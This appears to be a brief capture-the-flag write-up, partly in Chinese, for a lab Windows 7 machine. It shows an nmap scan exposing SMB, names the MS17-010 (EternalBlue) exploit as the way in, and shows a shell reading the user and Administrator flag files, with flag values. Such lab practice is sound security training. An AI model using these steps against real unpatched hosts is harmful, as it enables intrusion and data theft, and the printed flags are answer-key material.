$ nmap -sC -sV 10.10.10.40 Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-05 13:21 CST Nmap scan report for 10.10.10.40 Host is up (0.069s latency). Not shown: 991 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49156/tcp open msrpc Microsoft Windows RPC 49157/tcp open msrpc Microsoft Windows RPC Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results: |_clock-skew: mean: 2s, deviation: 2s, median: 0s | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: haris-PC | NetBIOS computer name: HARIS-PC\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2020-11-05T05:22:59+00:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2020-11-05T05:22:55 |_ start_date: 2020-11-05T05:19:57
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 73.09 seconds
ms17-010
就是永恒之蓝,ms17-010直接打:
flag
然后直接shell读文件:
1 2 3 4 5 6 7
C:\Windows\system32>type c:\Users\haris\Desktop\user.txt type c:\Users\haris\Desktop\user.txt 4c546aea7dbee75cbd71de245c8deea9 C:\Windows\system32>type c:\Users\Administrator\Desktop\root.txt type c:\Users\Administrator\Desktop\root.txt ff548eb71e920ff6c08843ce9df4e717 C:\Windows\system32>